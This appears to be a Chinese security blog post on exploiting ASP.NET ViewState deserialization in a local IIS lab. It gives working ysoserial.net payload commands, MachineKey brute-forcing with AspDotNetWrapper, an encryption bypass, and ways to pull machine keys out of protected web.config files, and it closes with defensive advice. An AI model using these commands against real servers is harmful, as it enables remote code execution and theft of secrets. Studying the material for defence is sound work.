.NET反序列化--VIEWSTATE
2023-2-26 04:58:57 Author: mp.weixin.qq.com(查看原文) 阅读量:221 收藏

.NET反序列化--VIEWSTATE
1.背景

    之前的渗透项目中,遇到过一些 IIS 站点,果不其然的都用了 VIEWSTATE,但是当时对 .NET 反序列化了解不够深入,没能利用成功,借这个机会系统学习一下 .NET 反序列化相关知识,做成一些记录。

2.相关介绍

2.1. VIEWSTATE机制

这里借来一张图:

这里通俗的解释一下:

    http 协议是无状态协议,每次请求之间都是独立的,为了让客户端和服务端之间能够相互“识别”(主要是服务端对客户端的“识别”),web 应用时常会采用诸如 cookie 或类似的机制来维护一个 session ,比如服务端保存 session 的状态信息,客户端通过 cookie 等标识来告诉服务端它对应的是哪个 session。

    ViewState 也是一种状态管理机制,只不过它的做法是在服务端将“session 状态”“序列化”,然后返回,交给客户端来保存了。具体的表现形式是:一次请求之后,服务端的返回中嵌入若干个隐藏的表单项,这些表单项的值序列化后的“session 状态”,在客户端下一次请求时,会自动带上这些表单项,服务端接收之后,反序列化对应的值就能恢复相应的“session 状态”,根据状态的不同,再做出相应的回应。

    ViewState 的优点就在于,节省了服务端对于保存和管理 session 状态的成本,不过却带来另一个问题是 ViewState 的“控制权”移交到了客户端这里,虽然有校验和加密机制,但是仍然存在密钥泄漏的风险,一旦通过了解密和验证,就会进入反序列化的流程,也就存在被恶意利用的风险。

我们可以在 web.config 中控制是否启用 ViewState

<pages     enableViewState="false" [Bool]    enableViewStateMac="false" [Bool]    viewStateEncryptionMode="Always" [Always | Auto | Never]/>

2.2 MACHINEKEY

上面说到了 ViewState 有校验和加密机制, MACHINEKEY 便是其加密、校验密钥相关的配置项。

<machineKey   validationKey="AutoGenerate,IsolateApps" [String]  decryptionKey="AutoGenerate,IsolateApps" [String]  validation="HMACSHA256" [SHA1 | MD5 | 3DES | AES | HMACSHA256 |     HMACSHA384 | HMACSHA512 | alg:algorithm_name]  decryption="Auto" [Auto | DES | 3DES | AES | alg:algorithm_name]/>
3.ViewState序列、加解密相关逻辑

ViewState 加密、校验的详细流程,已经有师傅做过非常深的研究,接下来将以这篇引文的研究成果作为根据来总结分析:

文章链接:https://paper.seebug.org/1386/

(文章非常详细深刻,如果对 ViewState 反序列化漏洞成因感兴趣的,建议阅读全文)

3.1. 序列化、反序列化逻辑

引文中有几个要点:

  1. ViewState 是被动解析的,也就是说,即使在 web.config 中配置 enableViewState 为 false,ASP.NET 服务端也始终会解析来自客户端的 ViewState 参数,换言之,enableViewState 只影响 ViewState 的生成,不影响服务端对其的被动解析;

  2. .NET Framwork 4.5.2 之后,微软强制开启了 ViewState Mac 校验,这样在默认情况下,就一定需要 MachineKey 才能对 ViewState 进行利用;

引文的精华是针对 ViewState 序列化、反序列化流程的详细分析,ViewState 的序列化和反序列化通过 ObjectStateFormatter 进行,在此用简陋的流程图对这一部分总结:

序列化:

辅以文字描述:

  • EncryptOrDecryptData() 为加密、解密函数,当配置文件中开启 viewStateEncryptionMode 选项时,会进入该函数。

  • GetEncodeData() 为签名函数,因为 KB2905247 补丁的关系,默认强制开启 ViewState MAC,这里有两种方法可以关闭:1. 修改对应的注册表项;2. 在 web.config 中开启允许不安全的反序列化。关闭 EnforceViewStateMac 的基础上,web.config 中 enableViewStataeMac 才能生效。

  • 值得注意的是 EncryptOrDecryptData() 不仅会加密,同时也会签名。

反序列化:

(这里的 _page.EnableViewStateMac 来源同上面 “序列化” 部分,故省略)

文字描述:

  • _page.EnableViewStateMac 值的确定与上面的反序列化中介绍的相同,故在此图中省略,仍是受 EnforceViewStateMac 影响。

  • ASP.NET 判断 ViewState 是否加密的条件是请求中是否有 "__VIEWSTATEENCRYPTED" 项,某些情况下我们可以利用这一点来绕过加密。

3.2. 加密、解密以及签名、校验逻辑

具体算法并不是本文关注的重点,但是还是提取引文中的部分要点来作为知识点码一下:

  1. GetEncodedData() 签名函数,将数据签名并将签名数据放到原数据的尾部;特殊的,如果制定签名算法为 3DES 或 AES,还会再调用一个 EncryptOrDecryptData() 的重载,进行加密。

  2. EncryptOrDecryptData() 加、解密函数,但是同时还会做签名,最终的结果是:* E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) *结果在返回结果的 VIEWSTATE 字段中,而 modifier 在返回结果的 VIEWSTATEGENERATOR 中

  3. GetDecodedData() 校验函数,跟 GetEncodedData() 相反。

  4. modifier 来自于 GetMacKeyModifier() 函数:

    1. 如果有 viewStateUserKey,则 modifier = pageHashCode + ViewStateUsereKey;

    2. 如果没有 viewStateUserKey,则 modifier = pageHashCode;

    3. ViewStateUsereKey 是一个随机字符串值,且与用户有某种关联。

4.模拟环境测试

上面说了对于 ViewState 的“保护”包括:校验、加密,针对不同的组合,有不同的策略

测试环境:window server 2016

因为这里更多的是测试 VIEWSTATE 反序列化的效果,所以为了方便测试以及更直观地展示结果,这里我把 IIS 的应用程序池权提高到 local system,方法如下:

上文提到了,微软现在默认强制开启 ViewState MAC ,所以要在配置文件中将该项关掉,当然修改注册表项可以达到同样的效果:

方法1: 在 web.config 中添加:

<appSettings>    <add key="aspnet:AllowInsecureDeserialization" value="true" /></appSettings>

方法2: 修改注册表:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\v{VersionHere}\AspNetEnforceViewStateMac 的值为 0

之后再借用一个简单文件上传的 web 应用页面来进行测试:

然后测试环境就搭建好了。

以下测试部分参考了:https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter

这篇文章有比较清晰的测试思路,并且提供了一个可以用来爆破枚举 MachineKey 的工具。

https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper

4.1. testCase-1 不签名、不加密

web.config 配置启用 ViewState,但是不启用 Mac 验证和加密

<configuration>    <system.web>        <pages             enableViewState="true"             enableViewStateMac="false"             viewStateEncryptionMode="Never"         />        <customErrors mode="Off"/>    </system.web>    <appSettings>        <add key="aspnet:AllowInsecureDeserialization" value="true" />    </appSettings></configuration>

此时去访问对应的页面,会发现页面返回了一些隐藏的表单项,其中 __VIEWSTATE 项为序列化后的值,也就是我们利用的目标。

burpsuite 自带解析 ViewState 的功能,从 reponse 中能看到对应的信息,同时也会提示当前 ViewState 的状态(是否开启 MAC 或者 是否加密),如当前页面的 ViewState 没有开启 MAC

对于没有任何保护的 ViewState ,可以直接使用 ysoserial.net 来生成 payload

ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo test1 > C:\temptest\test1.txt"

再构造一个正常的请求,将其中的 __VIEWSTATE 字段替换为生成的 payload:

页面返回 500 ,检查命令执行是否成功

执行成功

4.2. testCase2 签名、不加密

如果开启签名,那么服务端返回的数据就会在尾部带有校验信息,在不知道 MachineKey 的情况下,我们无法使我们的 paylaod 通过校验,也就无法触发反序列化,除非利用别的方法得到了 MachineKey,那么就得通过爆破枚举的方式来得到。

利用上文提到的工具 AspDotNetWrapper 来爆破 MachineKey,为了验证它的效果,这里在配置的时候挑选一个已经在字典中的 MachineKey 来进行测试。(这里仅为验证工具效果,真实环境中往往很难爆破到 MachineKey)

web.config:

<configuration>    <system.web>        <pages             enableViewState="true"             enableViewStateMac="true"             viewStateEncryptionMode="Never"         />        <customErrors mode="Off"/>        <machineKey            validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"            decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"            validation="SHA1"            decryption="AES"        />    </system.web>    <appSettings>        <add key="aspnet:AllowInsecureDeserialization" value="true" />    </appSettings></configuration>

此时再去访问页面,burpsuite 已经提示 ViewState 开启了MAC 校验

接着来试一下爆破的 MachineKey 的效果:

返回的 ViewState:

交给程序来跑:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUJMjM0MDYzMjM2D2QWAgIDDxYCHgdlbmN0eXBlBRNtdWx0aXBhcnQvZm9ybS1kYXRhFgICAQ8PFgIeBFRleHQFE0M6XGluZXRwdWJcd3d3cm9vdFxkZGR1W+BiwusT65xqg+ZK+LsGaACy1w== --decrypt --purpose=ViewState --modifier=69164837 --macdecode

程序通过枚举,得到了 MachineKey。

然后 ysoserial 生成对应的 payload

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test2 > C:\temptest\test2.txt" --generator=69164837 --validationalg="SHA1" --validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"

验证结果:

执行成功

4.3. testCase3 加密(.NET Framwork < 4.5)

上文提到过 EncryptOrDecryptData() 函数也会进行校验,所以对于开启了加密的 ViewState,那么他一定也是进行了校验的。

遗憾的是,AspDotNetWrapper 无法爆破 .NET Framwork < 4.5 下加密的 ViewState。

不过上文还说到,ASP.NET 是根据请求头中是否包含 __VIEWSTATEENCRYPTED 项来判断是否加密的,那么如果我们请求时不带这个参数,ASP.NET 也就不会尝试去解密。这时如果我们已知 MachineKey(暂时我们没办法通过爆破来获取,仅能通过别的途径拿到),可以在构造 paylaod 时不考虑加密。

web.config 开启加密

<configuration>    <system.web>        <pages             enableViewState="true"             enableViewStateMac="true"             viewStateEncryptionMode="Always"         />        <customErrors mode="Off"/>        <machineKey            validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"            decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"            validation="SHA1"            decryption="AES"        />    </system.web>    <appSettings>        <add key="aspnet:AllowInsecureDeserialization" value="true" />    </appSettings></configuration>

此时再去访问页面,burpsuite 提示 ViewState 被加密了

假设我们已经知道了 MachineKey(事实上我们一直都知道),只利用 validationkey,不管加密地去构造 payload

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test3 > C:\temptest\test3.txt" --generator=69164837 --validationalg="SHA1" --validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"

然后在构造的 POST 请求中删除 __VIEWSTATEENCRYPTED 参数。

验证结果:

执行成功

4.4. testCase4 加密(.NET Framwork >= 4.5)

如果使用 .NET Framwork 4.5 以上的加密方法,在实验过程中发现已经无法像 testCase3 中那样删除 __VIEWSTATEENCRYPTED 来绕过加密验证了,不过 AspDotNetWrapper 却支持这种情况下的 MachineKey 爆破

(测试环境下,可以通过设置 MachineKey 的兼容性参数,来强制使用 4.5 以上的加密方法)

web.config

<configuration>    <system.web>        <pages             enableViewState="true"             enableViewStateMac="true"             viewStateEncryptionMode="Always"         />        <customErrors mode="Off"/>        <machineKey            validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"            decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"            validation="SHA1"            decryption="AES"            compatibilityMode="Framework45"        />    </system.web>    <appSettings>        <add key="aspnet:AllowInsecureDeserialization" value="true" />    </appSettings></configuration>

尝试使用爆破 MachineKey:

页面返回的 ViewState 相关表单:

爆破 MachineKey

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata A8e/FkDU5napMoKJ/CkyFhmPlosC4OmRfeFCcBV0q1LN//avhGcA7Vr/utvWc4Y3A/5tnJjeA3rbFf8SLPFDuuP++lbLTsPIYjryerxt6iR9qYwdYc5h7+Qldb37uY13L0UDmYE+k2TuOdL2Pixjy450o8uj13ebUbNHQCh5Ak+b1IB8 --decrypt --purpose=ViewState --IISDirPath "/" --TargetPagePath "/upload.aspx"

然后再使用 ysoserial.net 生成 payload,来验证我们这种情况下能否利用成功。

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo test4 > C:\temptest\test4.txt" --apppath="/" --path="/upload.aspx" --decryptionalg="AES" --decryptionkey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4" --validationalg="SHA1" --validationkey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"

验证结果:

执行成功

5.防御

上面说了这么多,得到一个中心思想,如果网站一定要使用 ViewState 作为状态控制的话,除了要开启验证和加密以外,还要格外注意保护好 MachineKey ,或者说注意保护好配置文件如 web.config。

比如,如果站点还存在其他漏洞如文件包含、任意文件读取等,那么 web.config 的内容存在泄漏的风险,参考 HITCON CTF 2018 - Why so Serials? 中的情景。    

不过 ASP.NET 提供了一种辅助机制,可以用来加密 web.config,包括加密其中的 MachineKey 字段等。

5.1 Protected Configuration

摘自官方介绍的一段话:

.NET Framework 包括两个受保护的配置提供程序,可用于对配置文件中的节进行加密。RsaProtectedConfigurationProvider类使用 RSACryptoServiceProvider 来加密配置节。DpapiProtectedConfigurationProvider类使用 Windows 数据保护 API (DPAPI)来加密配置节。可能要求使用 RSA 或 DPAPI 提供程序以外的算法来加密敏感信息。在这种情况下,您可以生成自己的自定义受保护的配置提供程序。ProtectedConfigurationProvider是一个抽象基类,你必须从继承该类以创建你自己的受保护配置提供程序。

我们可以使用现成的加密方法来对配置进行加密,甚至可以自己来写一个独有的加密算法。

官方介绍:

https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100)

https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0

以 RsaProtectedConfigurationProvider 为例,对 web 应用程序配置文件进行加密大概分为以下流程(仅供参考):

  1. 创建 RSA key container(machine-level):

    aspnet_regiis -pc "SampleKeys" –exp

  2. 将 key container 的访问权限赋给 web 应用的“所有者”

    aspnet_regiis -pa "SampleKeys" "NT AUTHORITY\NETWORK SERVICE"

  3. 使用 key container 对指定的配置文件中的节加密(如果没有用 -prov 指定 provider 则默认为 RsaProtectedConfigurationProvider)

    aspnet_regiis -pe "connectionStrings" -app "/MyApplication"

官方文档的介绍中,还有一些点值得关注:

  1. key container 可以被导入、导出、删除、转移,只要保证使用的算法标准相同,key container 和 已加密的配置文件就可以一起迁移到另一台机器上;

  2. Protected Configuration 的意义在于保护配置文件中的敏感信息不以明文直接保存,但是当应用程序实例被创建时,解密后的配置文件信息还是会被装载到内存中,可以保证被 ASP.NET 程序读取。

解密思路:

这种保护措施一定程度上提高了 web 应用对于外部入侵的防护能力,不过攻击者还可能从从另外的途径进入,那么仍然可以利用上面提到的特性破解

大致有三种方式:

导出密钥容器并在另一台完全可控的计算机上破解:

  1. 导出 key container

    aspnet_regiis -px "SampleKeys" keys.xml -pri

  2. 导入 key container 到另一台计算机

    aspnet_regiis -pi "SampleKeys" keys.xml

  3. 拷贝待解密的配置文件到本地的 web 目录,然后进行解密

    aspnet_regiis -pd "connectionStrings" -app "/TempApplication"

在对方机器上解密:

在一个可以解析 asp.net 应用程序的位置,或者在对应的 web 目录下写入一个 asp、aspx 脚本,脚本的内容为读取相关配置参数,也可以直接读出相应的配置,以官方提供的脚本为例:

<%@ Page Language="VB" %><%@ Import Namespace="System.Configuration" %><%@ Import Namespace="System.Web.Configuration" %><script runat="server">
Public Sub Page_Load()
ConnectionStringsGrid.DataSource = ConfigurationManager.ConnectionStrings ConnectionStringsGrid.DataBind()
Dim config As System.Configuration.Configuration = _ WebConfigurationManager.OpenWebConfiguration(Request.ApplicationPath) Dim key As MachineKeySection = _ CType(config.GetSection("system.web/machineKey"), MachineKeySection) DecryptionKey.Text = key.DecryptionKey ValidationKey.Text = key.ValidationKey
End Sub</script><html>
<body>
<form runat="server">
<asp:GridView runat="server" CellPadding="4" id="ConnectionStringsGrid" /> <P> MachineKey.DecryptionKey = <asp:Label runat="Server" id="DecryptionKey" /><BR> MachineKey.ValidationKey = <asp:Label runat="Server" id="ValidationKey" />
</form>
</body></html>

参考自:https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)

终极方案

使用 procdump 等 dump 对应进程的内存,从内存中找到我们想要的字段的值,这里就不做展示了。

参考链接

本文中提到或引用的文章参考链接:

https://paper.seebug.org/1386/ https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper https://docs.microsoft.com/en-us/previous-versions/aspnet/53tyfkaw(v=vs.100) https://docs.microsoft.com/zh-cn/dotnet/api/system.configuration.protectedconfigurationprovider?view=dotnet-plat-ext-5.0 https://docs.microsoft.com/en-us/previous-versions/aspnet/dtkwfdky(v=vs.100)


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247484032&idx=1&sn=248e68920844e2c5b68c4df519452803&chksm=c2851dc6f5f294d0f1f6f6d429a22375cf2e3a2832b0d285f4c745707289b562820fdc38dd0b&mpshare=1&scene=1&srcid=02267c4p4jJJ0d6RoX9bZTez&sharer_sharetime=1677358728398&sharer_shareid=205c037363a9188e37dfb6bb4436f95b#rd
如有侵权请联系:admin#unsafe.sh